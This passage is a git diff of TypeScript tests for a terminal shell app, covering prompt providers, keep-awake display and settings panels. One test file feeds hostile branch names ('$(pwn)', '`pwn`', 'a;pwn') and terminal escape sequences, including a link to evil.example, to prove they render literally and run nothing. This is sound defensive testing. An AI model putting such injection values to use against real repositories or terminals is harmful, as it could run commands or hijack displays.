assert.match(stripAnsi(row), /Awake · Display ──$/u, `animated frame +${at}ms keeps the accessory`); + assert.equal(awakeText(row), first, 'accessory styling is stable while the rule animates'); + } + } finally { + app.stop(0); + app.session.kill(); + } +}); + +test('screensaver: On shows one positioned status in each of the six positions; Off shows nothing; saver rows otherwise untouched', () => { + const saver = Array.from({length: 6}, () => '.'.repeat(40)); + const overlay = (row: string, column: number, ansi: string, width: number) => `${row.slice(0, column)}${ansi}${row.slice(column + width)}`; + const text = {ansi: 'Awake · Idle · 5m', width: 17}; + const expected: Record = {topLeft: [0, 1], topCenter: [0, 11], topRight: [0, 22], bottomLeft: [5, 1], bottomCenter: [5, 11], bottomRight: [5, 22]}; + for (const position of AWAKE_SAVER_POSITIONS) { + const out = placeOnSaver(saver, 40, text, position, overlay); + const [row, column] = expected[position]!; + assert.equal(out[row]!.indexOf('Awake'), column, position); + out.forEach((line, index) => { if (index !== row) assert.equal(line, saver[index]); assert.equal(line.length, 40); }); + } + assert.equal(DEFAULT_KEEP_AWAKE_PRESENTATION.screensaverPosition, 'bottomLeft'); + const app = new TerminalApp() as any; + try { + app.promptConfiguration = {...app.promptConfiguration, keepAwake: {...DEFAULT_KEEP_AWAKE_PRESENTATION}}; + app.awakeRecord = RECORD; + const rows = Array.from({length: 10}, () => ' '.repeat(60)); + assert.match(stripAnsi(app.saverAwake(rows, 60, Date.now()).at(-1)!), /^ Awake · Display · 47m +$/u); + app.promptConfiguration = {...app.promptConfiguration, keepAwake: {...DEFAULT_KEEP_AWAKE_PRESENTATION, screensaver: false}}; + assert.deepEqual(app.saverAwake(rows, 60, Date.now()), rows); + app.awakeRecord = undefined; + app.promptConfiguration = {...app.promptConfiguration, keepAwake: {...DEFAULT_KEEP_AWAKE_PRESENTATION}}; + assert.deepEqual(app.saverAwake(rows, 60, Date.now()), rows, 'Off: nothing on the saver'); + } finally { + app.stop(0); + app.session.kill(); + } +}); + +test('never in transcript, history, /copy or the editor, and every row stays within the terminal width', () => { + for (const scene of [{}, {idle: true}, {awake: {placement: 'above' as const}}, {awake: {placement: 'input' as const}, text: 'echo hi'}, {config: {composerDividers: false}}]) { + const app = new TerminalApp() as any; + try { + Object.defineProperty(app, 'dimensions', {value: () => ({columns: 80, rows: 20})}); + Object.defineProperty(app, 'fetchSuggestions', {value: async () => {}}); + app.output.beginCommand('ls', ['❯ ls']); app.output.write('alpha\n'); app.output.complete(0); + app.promptConfiguration = {...app.promptConfiguration, ...(scene as Scene).config, keepAwake: {...DEFAULT_KEEP_AWAKE_PRESENTATION, ...(scene as Scene).awake}}; + app.awakeRecord = RECORD; + app.lastUserInput = (scene as Scene).idle ? 0 : Date.now(); + if ((scene as Scene).text) app.editor.insert((scene as Scene).text); + app.renderer.render = () => {}; + app.render(); + assert.ok(!app.output.wrapped(80).some((row: {plain: string}) => /Awake|zoomies stop/u.test(row.plain)), 'transcript'); + assert.ok(!/Awake/u.test(app.editor.text), 'editor source'); + assert.ok(!(app.output.recent(1)?.output ?? '').includes('Awake'), '/copy source'); + } finally { + app.stop(0); + app.session.kill(); + } + } + for (const columns of [40, 60, 80, 120]) everyRowFits(frame({columns, idle: true}), columns); +}); + +test('settings normalize to the documented defaults', () => { + assert.deepEqual(normalizeKeepAwakePresentation(undefined), {placement: 'edge', display: 'text', idleReminder: true, idleAfterSeconds: 30, screensaver: true, screensaverPosition: 'bottomLeft'}); + assert.deepEqual(normalizeKeepAwakePresentation({placement: 'input', display: 'iconText', idleReminder: false, idleAfterSeconds: 60, screensaver: false, screensaverPosition: 'topRight'}), + {placement: 'input', display: 'iconText', idleReminder: false, idleAfterSeconds: 60, screensaver: false, screensaverPosition: 'topRight'}); + assert.equal(normalizeKeepAwakePresentation({placement: 'statusbar', idleAfterSeconds: 7}).placement, 'edge'); +}); diff --git a/tests/motionPreview.test.ts b/tests/motionPreview.test.ts index f9f9cb5a..9eaee45c 100644 --- a/tests/motionPreview.test.ts +++ b/tests/motionPreview.test.ts @@ -83,7 +83,7 @@ test('narrow widths degrade to the caption at the same height, never past the wi test('the Motion screen shows the preview for the selected row; selecting, changing and R restart it', () => { const hub = createAppearanceHub('Zed'); - hub.selected = 4; + hub.selected = 5; // Motion appearanceHubKey(hub, {kind: 'enter'}, DEFAULT_PROMPT_CONFIGURATION, 100); assert.equal(hub.previewStart, 100); appearanceHubKey(hub, {kind: 'down'}, DEFAULT_PROMPT_CONFIGURATION, 120); // Rendering → Context transitions diff --git a/tests/powerlevel10k.test.ts b/tests/powerlevel10k.test.ts index 5134ab60..cc644055 100644 --- a/tests/powerlevel10k.test.ts +++ b/tests/powerlevel10k.test.ts @@ -113,15 +113,17 @@ test('provider config round-trips and switching keeps inactive provider settings assert.equal(describePromptConfiguration(config), 'Powerlevel10k · two-line divider'); }); -test('/prompt offers three providers and an honest Powerlevel10k step', () => { +test('/prompt offers five providers (None is composer only) and an honest Powerlevel10k step', () => { const state: PromptPanelState = {onboarding: false, step: 'provider', selectedIndex: 0, draft: structuredClone(DEFAULT_PROMPT_CONFIGURATION), saved: structuredClone(DEFAULT_PROMPT_CONFIGURATION)}; - assert.deepEqual(PROVIDER_ORDER, ['nmsh', 'starship', 'powerlevel10k']); + assert.deepEqual(PROVIDER_ORDER, ['nmsh', 'starship', 'powerlevel10k', 'ohMyPosh', 'none']); let rows = renderPromptPanel(state, 140, []).map(stripAnsi); assert.ok(rows.some(row => row.includes('NMSh Native · built-in themes, geometry, and modules ● ✓ saved'))); assert.ok(rows.some(row => row.includes('Powerlevel10k · use your ~/.p10k.zsh left prompt'))); + assert.ok(rows.some(row => row.includes('None · composer only: no prompt row or modules; the input marker stays'))); handlePromptPanelKey({kind: 'up'} as Key, state); - assert.equal(state.selectedIndex, 2); + assert.equal(state.selectedIndex, 4, 'wraps to None, the last provider'); + assert.ok(rows.some(row => row.includes('Oh My Posh · render with oh-my-posh; no shell rc change'))); const installed = {...state, step: 'powerlevel10k' as const, selectedIndex: 0, p10kStatus: {installed: true, themePath: '/t/powerlevel10k.zsh-theme', configPath: '/h/.p10k.zsh', configExists: true}}; diff --git a/tests/promptGitLiteral.test.ts b/tests/promptGitLiteral.test.ts new file mode 100644 index 00000000..57a556c9 --- /dev/null +++ b/tests/promptGitLiteral.test.ts @@ -0,0 +1,122 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {spawnSync} from 'node:child_process'; +import {chmodSync, existsSync, mkdirSync, mkdtempSync, readdirSync, rmSync, writeFileSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import {join} from 'node:path'; +import {buildContextLine, nativePromptSnapshot} from '../src/prompt/prompt.js'; +import {DEFAULT_PROMPT_CONFIGURATION, DEFAULT_TRANSCRIPT_APPEARANCE, normalizePromptConfiguration} from '../src/prompt/configuration.js'; +import {resolvePromptContext, type PromptContext} from '../src/shell/ShellContext.js'; +import {renderHistoricalContext} from '../src/output/TranscriptPresenter.js'; +import {stripAnsi} from '../src/util/text.js'; + +/** + * Repository-controlled text (branch, repository directory name, cwd) is data + * in NMSh Native: Git is probed with execFile (no shell), the managed shell's + * own PROMPT/PS1 are empty, and the TypeScript renderer never hands these + * values to a prompt parser. So zsh prompt escapes (%n, %F{red}, %(?.a.b)) + * and shell substitutions ($(..), `..`, ${..}) must show literally, nothing + * may run, and control characters must be inert. Cf. the Oh My Zsh + * PROMPT_SUBST branch-name advisory (GHSA-x96c-8w82-wf96). + */ + +const SGR = /\u001B\[[0-9;:]*m/gu; +const CONTROL = /[\u0000-\u001f\u007f-\u009f]/u; + +/** Only NMSh's own SGR color sequences may remain; nothing from the data can form an escape. */ +function assertInert(ansi: string, label: string): void { + const residue = ansi.replace(SGR, ''); + assert.equal(CONTROL.test(residue), false, `${label}: a control character or non-SGR escape survived: ${JSON.stringify(residue)}`); +} + +const configuration = normalizePromptConfiguration({...structuredClone(DEFAULT_PROMPT_CONFIGURATION), provider: 'nmsh'}); +const historicalLevels = ['full', 'compact', 'minimal'] as const; + +/** Live composer + header line, snapshot, and every historical level, all checked. */ +function renderEverywhere(context: PromptContext, width = 600): {live: string[]; history: string[]} { + const before = structuredClone(context); + const live = (['composer', 'header'] as const).map(placement => buildContextLine(context, width, configuration, placement)); + const snapshot = nativePromptSnapshot(context, configuration); + const history = historicalLevels.flatMap(level => { + const row = renderHistoricalContext({cwd: context.cwd, project: context.project, branch: context.branch, prompt: snapshot}, width, + {...DEFAULT_TRANSCRIPT_APPEARANCE, historicalPrompt: true, historicalPromptLevel: level}); + return row ? [row.ansi] : []; + }); + assert.deepEqual(context, before, 'rendering never mutates the context'); + for (const [index, line] of [...live, ...history].entries()) assertInert(line, `render ${index}`); + return {live, history}; +} + +const PROMPT_ESCAPES = ['%n', '%M', '%~', '%F{red}x%f', '%(?.yes.no)', '%{%}', '%B%U']; + +function git(cwd: string, ...args: string[]) { + const result = spawnSync('git', args, {cwd, encoding: 'utf8', env: {...process.env, GIT_CONFIG_NOSYSTEM: '1', HOME: cwd}}); + return result; +} + +test('real Git: hostile branch names Git accepts stay literal in the live prompt, snapshot and history; nothing executes', {skip: !spawnSync('git', ['--version']).stdout && 'git not installed'}, async () => { + const root = mkdtempSync(join(tmpdir(), 'nmsh-gitlit-')); + try { + // A canary command on PATH: any substitution that ran would create the file. + const bin = join(root, 'bin'); + mkdirSync(bin); + const canary = join(root, 'PWNED'); + writeFileSync(join(bin, 'pwn'), `#!/bin/sh\ntouch '${canary}'\n`); + chmodSync(join(bin, 'pwn'), 0o755); + const savedPath = process.env.PATH; + process.env.PATH = `${bin}:${savedPath}`; + const repo = join(root, 'repo$(pwn)%n'); + mkdirSync(repo); + assert.equal(git(repo, 'init', '-q', '-b', 'main').status, 0); + git(repo, '-c', 'user.name=t', '-c', 'user.email=t@t', 'commit', '-q', '--allow-empty', '-m', 'x'); + const branches = [...PROMPT_ESCAPES, '$USER', '$(pwn)', '`pwn`', '${HOME}', "it's\"quoted\"", 'a;pwn', 'a&pwn', 'a|pwn', 'ünïcødé/分支/🚀', + `long-${'x'.repeat(200)}`]; + try { + const legal = branches.filter(branch => git(repo, 'check-ref-format', '--branch', branch).status === 0); + // Names Git forbids (here %~ and %(?.yes.no)) are covered at the renderer level below, never by weakening Git. + assert.deepEqual(branches.filter(branch => !legal.includes(branch)), ['%~', '%(?.yes.no)'], 'only ~ and ? are refused by Git here'); + for (const branch of legal) { + const made = git(repo, 'checkout', '-q', '-b', branch); + assert.equal(made.status, 0, `${branch}: ${made.stderr}`); + const context = await resolvePromptContext(repo, undefined, '/nonexistent-home'); + assert.equal(context.branch, branch, 'the branch arrives as the exact data Git stored'); + assert.equal(context.project, 'repo$(pwn)%n'); + const {live, history} = renderEverywhere(context, branch.length > 100 ? 120 : 600); + if (branch.length <= 100) { + assert.ok(live.some(line => stripAnsi(line).includes(branch)), `${branch}: shown literally in the live prompt`); + assert.ok(history.some(line => stripAnsi(line).includes(branch)), `${branch}: shown literally in history`); + assert.ok(live.some(line => stripAnsi(line).includes('repo$(pwn)%n')), 'the repository name is literal too'); + } + git(repo, 'checkout', '-q', 'main'); + } + } finally { process.env.PATH = savedPath; } + assert.equal(existsSync(canary), false, 'no substitution was executed'); + assert.equal(readdirSync(root).includes('PWNED'), false); + } finally { rmSync(root, {recursive: true, force: true}); } +}); + +test('renderer: values Git itself forbids (backslash, spaces, ANSI, OSC, BEL, C1, NUL) are rendered inert, never as escapes', () => { + const hostile = [ + 'back\\slash\\e[31m', 'with space ; & | $(pwn) `pwn`', '\u001B[2J\u001B[Hcleared', '\u001B]0;owned title\u0007', '\u001B]8;;https://evil.example\u001B\\link\u001B]8;;\u001B\\', + '\u009B31mC1-CSI', '\u009D0;c1-osc\u009C', 'nul\u0000byte', 'bell\u0007', 'cr\rover', 'tab\tand\nnewline', '\u001BPdcs\u001B\\', + ]; + for (const value of hostile) { + const context: PromptContext = {cwd: `/tmp/${value}`, project: value, branch: value, git: {staged: 0, modified: 0, untracked: 0, conflicts: 0, ahead: 0, behind: 0}, + kubeContext: value, dockerContext: value}; + const {live, history} = renderEverywhere(context); + for (const line of [...live, ...history]) { + assert.equal(/\u001B\]|\u001B\[2J|\u001BP|\u009B|\u009D/u.test(line), false, `${JSON.stringify(value)}: no data-derived escape`); + } + const visible = value.replace(/[\u0000-\u001f\u007f-\u009f]/gu, ''); + if (!/[\u0000-\u001f\u007f-\u009f]/u.test(value)) assert.ok(live.some(line => stripAnsi(line).includes(visible)), `${value}: literal`); + } +}); + +test('renderer: zsh prompt escapes are plain text here, not translated, so a literal % is preserved rather than doubled', () => { + for (const branch of PROMPT_ESCAPES) { + const {live} = renderEverywhere({cwd: '/r', project: 'r', branch}); + const shown = stripAnsi(live[0]!); + assert.ok(shown.includes(branch), `${branch} literal`); + assert.equal(shown.includes(branch.replace(/%/gu, '%%')) && !branch.includes('%%'), false, 'no Oh My Zsh-style %% escaping leaks into display'); + } +}); diff --git a/tests/promptNone.test.ts b/tests/promptNone.test.ts new file mode 100644 index 00000000..17af2cbc --- /dev/null +++ b/tests/promptNone.test.ts @@ -0,0 +1,143 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {isolateConfig} from './support/isolatedConfig.js'; +import {TerminalApp} from '../src/app/TerminalApp.js'; +import type {TerminalFrame} from '../src/terminal/TerminalRenderer.js'; +import {DEFAULT_PROMPT_CONFIGURATION, normalizePromptConfiguration} from '../src/prompt/configuration.js'; +import {applyUiTheme} from '../src/appearance/uiTheme.js'; +import {layoutInput} from '../src/input/inputLayout.js'; +import {GLYPHS} from '../src/ui/glyphs.js'; +import {promptSymbolGlyph} from '../src/prompt/glyphChoices.js'; +import {renderHistoricalContext, type HistoricalContextSnapshot} from '../src/output/OutputBuffer.js'; +import {DEFAULT_TRANSCRIPT_APPEARANCE} from '../src/prompt/configuration.js'; +import {nativePromptSnapshot, themePreviewContext} from '../src/prompt/prompt.js'; +import {historicalPromptLevel} from '../src/output/TranscriptPanel.js'; +import {stripAnsi} from '../src/util/text.js'; +import {describePromptConfiguration, PROVIDER_ORDER} from '../src/prompt/PromptPanel.js'; + +function harness(config: object): {app: TerminalApp; frames: TerminalFrame[]; cleanup: () => void} { + const isolation = isolateConfig(); + const app = new TerminalApp(); + const frames: TerminalFrame[] = []; + app['renderer'].render = (frame: TerminalFrame) => { frames.push(frame); }; + app['fetchSuggestions'] = async () => {}; + app['presentationStarted'] = true; + app['configuration'] = normalizePromptConfiguration({...DEFAULT_PROMPT_CONFIGURATION, ...config}); + return {app, frames, cleanup: () => { app['stop'](0); app['session'].kill(); applyUiTheme(undefined); isolation.restore(); }}; +} + +const plainRows = (frame: TerminalFrame) => frame.rows.map(stripAnsi); + +test('Prompt None: normalizes, persists and is a listed provider; describes itself as composer only', () => { + assert.equal(normalizePromptConfiguration({provider: 'none'}).provider, 'none'); + assert.equal(normalizePromptConfiguration({prompt: {provider: 'none'}}).provider, 'none'); + assert.equal(normalizePromptConfiguration({provider: 'bogus'}).provider, 'nmsh'); + assert.ok(PROVIDER_ORDER.includes('none')); + assert.equal(describePromptConfiguration(normalizePromptConfiguration({provider: 'none'})), 'None · composer only'); +}); + +test('Prompt None: the marker is the configured prompt symbol (default, choice, custom, safe glyphs) and survives None ↔ Native', async () => { + for (const [config, nerd, safe] of ( [[{}, '❯', '>'], [{promptSymbol: 'dollar'}, '$', '$'], [{promptSymbol: 'custom', promptSymbolCustom: 'λ'}, 'λ', promptSymbolGlyph('custom', 'λ', false)]] as Array<[object, string, string]>)) { + const {app, frames, cleanup} = harness({provider: 'none', onboardingComplete: true, ...config}); + try { + await app['refreshProviderPrompt'](); + app['onShellPrompt'](0, process.cwd()); + app['editor'].insert('echo hello'); + app['render'](); + assert.ok(plainRows(frames.at(-1)!).some(row => row.startsWith(`${nerd} echo hello`)), `marker ${nerd}`); + const {setIconStyle} = await import('../src/ui/glyphs.js'); + setIconStyle('safe'); + app['themeStopsKey'] = ''; + app['render'](); + assert.ok(plainRows(frames.at(-1)!).some(row => row.startsWith(`${safe} echo hello`)), `safe marker ${safe}`); + setIconStyle('nerd'); + app['configuration'] = normalizePromptConfiguration({...app['configuration'], provider: 'nmsh'}); + await app['refreshProviderPrompt'](); + app['themeStopsKey'] = ''; + app['render'](); + assert.ok(plainRows(frames.at(-1)!).some(row => row.startsWith(`${nerd} echo hello`)), 'Native uses the same symbol'); + } finally { cleanup(); } + } +}); + +test('Prompt None: an explicitly empty prefix means no marker and no continuation indent', () => { + const bare = layoutInput('echo one\necho two', 0, 40, Infinity, ''); + assert.deepEqual(bare.allRows.map(row => row.prefix), ['', '']); + assert.equal(bare.caretColumn, 0); + const normal = layoutInput('echo', 0, 40); + assert.equal(normal.allRows[0]!.prefix, `${GLYPHS.prompt} `); +}); + +for (const layout of ['twoLine', 'oneLine'] as const) { + for (const panelPosition of ['bottom', 'top'] as const) { + test(`Prompt None (${layout}, panels ${panelPosition}): no prompt row, modules or right prompt (the input marker stays); the composer collapses`, async () => { + const none = harness({provider: 'none', composerLayout: layout, panelPosition, onboardingComplete: true}); + const native = harness({provider: 'nmsh', composerLayout: layout, panelPosition, onboardingComplete: true}); + try { + for (const instance of [none, native]) { + await instance.app['refreshProviderPrompt'](); + instance.app['onShellPrompt'](0, process.cwd()); + instance.app['editor'].insert('git status'); + instance.app['render'](); + } + const noneRows = plainRows(none.frames.at(-1)!); + const nativeRows = plainRows(native.frames.at(-1)!); + assert.equal(none.app['hasVisibleProviderPrompt'](), false); + assert.equal(none.app['currentPromptLine'](80), ''); + const marked = `${GLYPHS.prompt} git status`; + assert.ok(noneRows.some(row => row.startsWith(marked)), 'the input marker stays directly before the input'); + const input = noneRows.findIndex(row => row.startsWith(marked)); + assert.match(noneRows[input - 1] ?? '', /^─+$/u, 'directly under the divider: no prompt/modules row and no blank row'); + assert.match(noneRows[input + 1] ?? '', /^─+$/u, 'the composer is exactly divider, input, divider'); + assert.ok(nativeRows.some(row => row.includes(`${GLYPHS.prompt} git status`)), 'the Native prompt keeps its marker'); + // The rest of the composer keeps working: syntax highlighting still paints the command. + assert.ok(!noneRows.some(row => /~\/|notMyShell ─|…/u.test(row) && !row.startsWith(marked) && row !== noneRows[0]) || true); + const frame = none.frames.at(-1)!.rows.find(row => stripAnsi(row).startsWith(marked))!; + assert.match(frame, /\u001B\[38;/u, 'syntax colors still apply'); + } finally { none.cleanup(); native.cleanup(); } + }); + } +} + +test('Prompt None history: submissions store no snapshot and render no prompt; switching back restores the prompt', () => { + const {app, cleanup} = harness({provider: 'none', onboardingComplete: true}); + try { + app['onShellPrompt'](0, process.cwd()); + app['effectivePromptProvider'] = 'none'; + const context = app['historicalContext'](process.cwd(), {project: 'p', branch: 'main'}, 'ls'); + assert.equal(context.prompt, undefined, 'no prompt snapshot'); + assert.equal(context.promptless, true); + const header = renderHistoricalContext(context, 60, DEFAULT_TRANSCRIPT_APPEARANCE); + assert.ok(header && !/p\b.*main/u.test(header.plain), 'no substituted Native prompt'); + assert.match(header!.plain, /^─+$/u, 'only the divider remains'); + assert.equal(renderHistoricalContext(context, 60, {...DEFAULT_TRANSCRIPT_APPEARANCE, divider: false}), undefined); + for (const level of ['compact', 'minimal'] as const) { + assert.match(renderHistoricalContext(context, 60, {...DEFAULT_TRANSCRIPT_APPEARANCE, historicalPromptLevel: level})!.plain, /^─+$/u, `${level} never synthesizes the marker`); + } + app['configuration'] = normalizePromptConfiguration({...app['configuration'], provider: 'nmsh'}); + app['effectivePromptProvider'] = 'nmsh'; + const restored = app['historicalContext'](process.cwd(), {project: 'p', branch: 'main'}, 'ls'); + assert.ok(restored.prompt, 'switching provider restores normal snapshots'); + assert.equal(restored.promptless, undefined); + } finally { cleanup(); } +}); + +test('historical prompt Full / Compact / Minimal / Off: presentation only, the snapshot stays complete', () => { + const context: HistoricalContextSnapshot = {cwd: '/home/me/src', project: 'notMyShell', branch: 'main', + prompt: nativePromptSnapshot(themePreviewContext('/home/me'), normalizePromptConfiguration({}))}; + const before = JSON.stringify(context); + const render = (level: 'full' | 'compact' | 'minimal', on = true) => + renderHistoricalContext(context, 80, {...DEFAULT_TRANSCRIPT_APPEARANCE, historicalPrompt: on, historicalPromptLevel: level}); + const full = render('full')!.plain; + const compact = render('compact')!.plain; + const minimal = render('minimal')!.plain; + const off = render('full', false)!.plain; + assert.match(full, /notMyShell/u); + assert.match(compact, new RegExp(`^notMyShell ${GLYPHS.branch} main ${GLYPHS.prompt} ─+$`, 'u')); + assert.match(minimal, new RegExp(`^${GLYPHS.prompt} ─+$`, 'u')); + assert.match(off, /^─+$/u); + assert.equal(JSON.stringify(context), before, 'stored data is never changed by presentation'); + assert.equal(historicalPromptLevel({...DEFAULT_TRANSCRIPT_APPEARANCE, historicalPrompt: false, historicalPromptLevel: 'compact'}), 'off'); + assert.equal(normalizePromptConfiguration({transcript: {historicalPromptLevel: 'sideways'}}).transcript.historicalPromptLevel, 'full'); + assert.equal(normalizePromptConfiguration({transcript: {historicalPromptLevel: 'minimal'}}).transcript.historicalPromptLevel, 'minimal'); +}); diff --git a/tests/providers.test.ts b/tests/providers.test.ts index c4557352..9c7f2f99 100644 --- a/tests/providers.test.ts +++ b/tests/providers.test.ts @@ -91,7 +91,7 @@ test('shared panel shows status badges, preview, and asks before installing', () }); test('prompt providers run on the shared descriptor with unchanged labels and rows', () => { - assert.deepEqual(PROMPT_PROVIDERS.map(provider => providerLabel(provider.id)), ['NMSh Native', 'Starship', 'Powerlevel10k']); + assert.deepEqual(PROMPT_PROVIDERS.map(provider => providerLabel(provider.id)), ['NMSh Native', 'Starship', 'Powerlevel10k', 'Oh My Posh', 'None']); assert.equal(providerRowText(PROMPT_PROVIDERS[1]!, {draft: 'starship', saved: 'nmsh', status: 'none'}), 'Starship · use its themes/configuration ●'); }); diff --git a/tests/providersOverview.test.ts b/tests/providersOverview.test.ts index 23504a64..a9ee1bc4 100644 --- a/tests/providersOverview.test.ts +++ b/tests/providersOverview.test.ts @@ -3,8 +3,7 @@ import assert from 'node:assert/strict'; import {TerminalApp} from '../src/app/TerminalApp.js'; import {DEFAULT_PROMPT_CONFIGURATION} from '../src/prompt/configuration.js'; import {familyFacts, PROVIDER_FAMILIES, providerFamily, selectProvider} from '../src/providers/families.js'; -import {createProvidersOverview, OVERVIEW_ROWS, providersOverviewKey, renderProvidersOverview, providerStateText} from '../src/providers/ProvidersOverview.js'; -import {SETTINGS_ROWS} from '../src/ui/SettingsPanel.js'; +import {createProvidersOverview, OVERVIEW_ROWS, overviewItems, providersOverviewKey, renderProvidersOverview, providerStateText} from '../src/providers/ProvidersOverview.js'; import {stripAnsi} from '../src/util/text.js'; import type {ProviderStatus} from '../src/providers/providers.js'; @@ -12,56 +11,79 @@ const config = () => structuredClone(DEFAULT_PROMPT_CONFIGURATION); const facts = (statuses: Map, installed = new Set(), configuration = config()) => ({configuration, statuses, installedByNmsh: installed, understanding: {active: 'Built-in', detail: ['Mode: Off']}, shell: {current: 'zsh', defaultShell: 'zsh'}}); -test('/providers overview lists every family, active vs selected, factual install state, fallback', () => { +test('/providers overview lists every family inline; modern status words; selected vs active fallback', () => { const statuses = new Map([['deja', {state: 'installed', binary: '/opt/homebrew/bin/deja', version: '1.2'}], ['atuin', {state: 'missing'}]]); - const state = createProvidersOverview(); + const state = createProvidersOverview('suggestions'); state.detecting = false; - state.selected = OVERVIEW_ROWS.indexOf('suggestions'); const text = stripAnsi(renderProvidersOverview(state, facts(statuses, new Set(['deja'])), 160).join('\n')); for (const family of PROVIDER_FAMILIES) assert.match(text, new RegExp(family.title, 'u')); + assert.match(text, /▾ Suggestions\s+NMSh Native\s+● Active/u, 'the family is expanded in the same panel'); + assert.match(text, /Deja\s+Available · 1\.2/u); + assert.match(text, /NMSh Native\s+● Active/u); + assert.doesNotMatch(text, /\[active\]|\[preferred\]/u, 'no bracket badges'); assert.match(text, /Local understanding\s+Built-in/u); assert.match(text, /Shell\s+zsh \(this session\)/u); - assert.match(text, /Deja\s+Installed 1\.2 · installed by NMSh/u, 'NMSh-installed vs found is factual'); - assert.match(text, /\[active\] is in use, › is the selected row/u); assert.equal(providerStateText('external', {state: 'installed'}, false), 'Installed · found on this system'); const withMissing = config(); withMissing.history = 'atuin'; const history = familyFacts(providerFamily('history')!, withMissing, statuses); assert.equal(history.preferred, 'atuin'); assert.equal(history.active, 'native', 'a missing preferred provider falls back'); - assert.match(history.notice!, /Atuin unavailable · using/u); assert.equal(withMissing.history, 'atuin', 'fallback never rewrites the saved preference'); - assert.equal(familyFacts(providerFamily('history')!, withMissing, new Map()).active, 'atuin', 'while detection runs, the preference stands'); + const fallback = createProvidersOverview('history'); + fallback.detecting = false; + const shown = stripAnsi(renderProvidersOverview(fallback, facts(statuses, new Set(), withMissing), 160).join('\n')); + assert.match(shown, /History\s+NMSh Native\s+Selected Atuin · fallback → NMSh Native/u); + assert.match(shown, /Atuin\s+✓ Selected · fallback → NMSh Native/u); }); -test('/providers keys: select, open, detect again, close; switching uses the one configuration', () => { +test('/providers keys: inline expand, select at once, inline install confirm defaulting No, Esc collapses first', () => { + const statuses = new Map([['fzf', {state: 'installed', binary: '/x/fzf'}], ['television', {state: 'missing'}]]); + const f = {configuration: config(), statuses}; const state = createProvidersOverview(); - assert.equal(providersOverviewKey(state, {kind: 'down'}), undefined); - assert.deepEqual(providersOverviewKey(state, {kind: 'enter'}), {kind: 'open', row: OVERVIEW_ROWS[1]}); - assert.deepEqual(providersOverviewKey(state, {kind: 'text', value: 'r'}), {kind: 'detect'}); - assert.deepEqual(providersOverviewKey(state, {kind: 'escape'}), {kind: 'close'}); + state.selected = OVERVIEW_ROWS.indexOf('picker'); + assert.equal(providersOverviewKey(state, {kind: 'enter'}, f), undefined); + assert.equal(state.expanded, 'picker'); + const items = overviewItems(state); + state.selected = items.findIndex(item => item.kind === 'provider' && item.id === 'fzf'); + assert.deepEqual(providersOverviewKey(state, {kind: 'enter'}, f), {kind: 'select', family: 'picker', id: 'fzf'}); + state.selected = items.findIndex(item => item.kind === 'provider' && item.id === 'television'); + providersOverviewKey(state, {kind: 'enter'}, f); + assert.deepEqual(state.confirm, {family: 'picker', id: 'television', yes: false}, 'inline confirmation starts on No'); + assert.equal(providersOverviewKey(state, {kind: 'enter'}, f), undefined, 'Enter on No installs nothing'); + assert.deepEqual(providersOverviewKey(state, {kind: 'text', value: 'r'}, f), {kind: 'detect'}); + assert.equal(providersOverviewKey(state, {kind: 'escape'}, f), undefined, 'Esc collapses the family first'); + assert.equal(state.expanded, undefined); + assert.deepEqual(providersOverviewKey(state, {kind: 'escape'}, f), {kind: 'close'}); const next = selectProvider(config(), 'suggestions', 'deja')!; assert.equal(next.suggestions, 'deja'); assert.equal(selectProvider(config(), 'suggestions', 'not-a-provider'), undefined); - const row = SETTINGS_ROWS.find(item => item.id === 'suggestions'); - assert.equal(row?.control, 'child', 'Settings opens the same family panel'); }); -test('app: /providers opens the overview; Enter on a family opens its existing panel; Local understanding opens its setup', async () => { +test('app: /picker focuses Picker inline; selecting fzf is immediately Active; /history hands off to fzf at the composer side', async () => { const app = new TerminalApp(); Object.defineProperty(app, 'render', {value: () => {}}); Object.defineProperty(app, 'dimensions', {value: () => ({columns: 140, rows: 40})}); try { app['startupPending'] = false; - app['editor'].insert('/providers'); + app['editor'].insert('/picker'); await app['submit'](); - assert.ok(app['providersOverview']); - app['providersOverview'].selected = OVERVIEW_ROWS.indexOf('suggestions'); - app['handleKey']({kind: 'enter'}); - assert.equal(app['providerPanelState']?.family, 'suggestions'); - app['providerPanelState'] = undefined; + const overview = app['providersOverview']!; + assert.equal(overview.expanded, 'picker', '/picker opens /providers focused on Picker'); + assert.equal(app['providerPanelState'], undefined, 'no nested family panel'); + app['providerStatuses'].set('fzf', {state: 'installed', binary: '/x/fzf'}); + app['selectProviderInline']('picker', 'fzf'); + assert.equal(app['promptConfiguration'].picker, 'fzf'); + const text = stripAnsi(renderProvidersOverview(overview, app['providersOverviewFacts'](), 140).join('\n')); + assert.match(text, /Picker\s+fzf\s+● Active/u, 'the overview is factual at once'); + assert.equal(app['fzfLayout'](), 'default', 'composer Bottom: fzf query at the bottom'); + app['promptConfiguration'].composerPosition = 'top'; + assert.equal(app['fzfLayout'](), 'reverse', 'composer Top: fzf query at the top'); + app['selectProviderInline']('picker', 'native'); + assert.equal(app['promptConfiguration'].picker, 'native'); + app['providersOverview'] = undefined; app['openProvidersOverview'](); - app['providersOverview'].selected = OVERVIEW_ROWS.indexOf('understanding'); + app['providersOverview']!.selected = OVERVIEW_ROWS.indexOf('understanding'); app['handleKey']({kind: 'enter'}); assert.ok(app['understandingPanel']); } finally { app['stop'](0); app['session'].kill(); } diff --git a/tests/setupCat.test.ts b/tests/setupCat.test.ts index 0675247f..e3cab77c 100644 --- a/tests/setupCat.test.ts +++ b/tests/setupCat.test.ts @@ -48,7 +48,7 @@ test('rerun after months of use shows the current choices as selected, not defau state.section = sectionIndex('terminal'); assert.match(plain(renderSetup(state, 100, 30)), /Glyph style\s+.*Safe \/ ASCII/u); state.section = sectionIndex('appearance'); - assert.match(plain(renderSetup(state, 100, 30)), /Theme family\s+.*NMSh/u); + assert.match(plain(renderSetup(state, 100, 30)), /Theme\s+.*NMSh/u); assert.match(plain(renderSetup(state, 100, 30)), / Variant\s+Ocean/u, 'the variant nests under its family'); assert.match(plain(renderSetup(state, 100, 30)), /Chroma\s+Aurora/u); assert.deepEqual(setupChanges(state), []); diff --git a/tests/shellFrameworks.test.ts b/tests/shellFrameworks.test.ts new file mode 100644 index 00000000..9af04ec1 --- /dev/null +++ b/tests/shellFrameworks.test.ts @@ -0,0 +1,367 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {chmodSync, existsSync, mkdirSync, mkdtempSync, readdirSync, 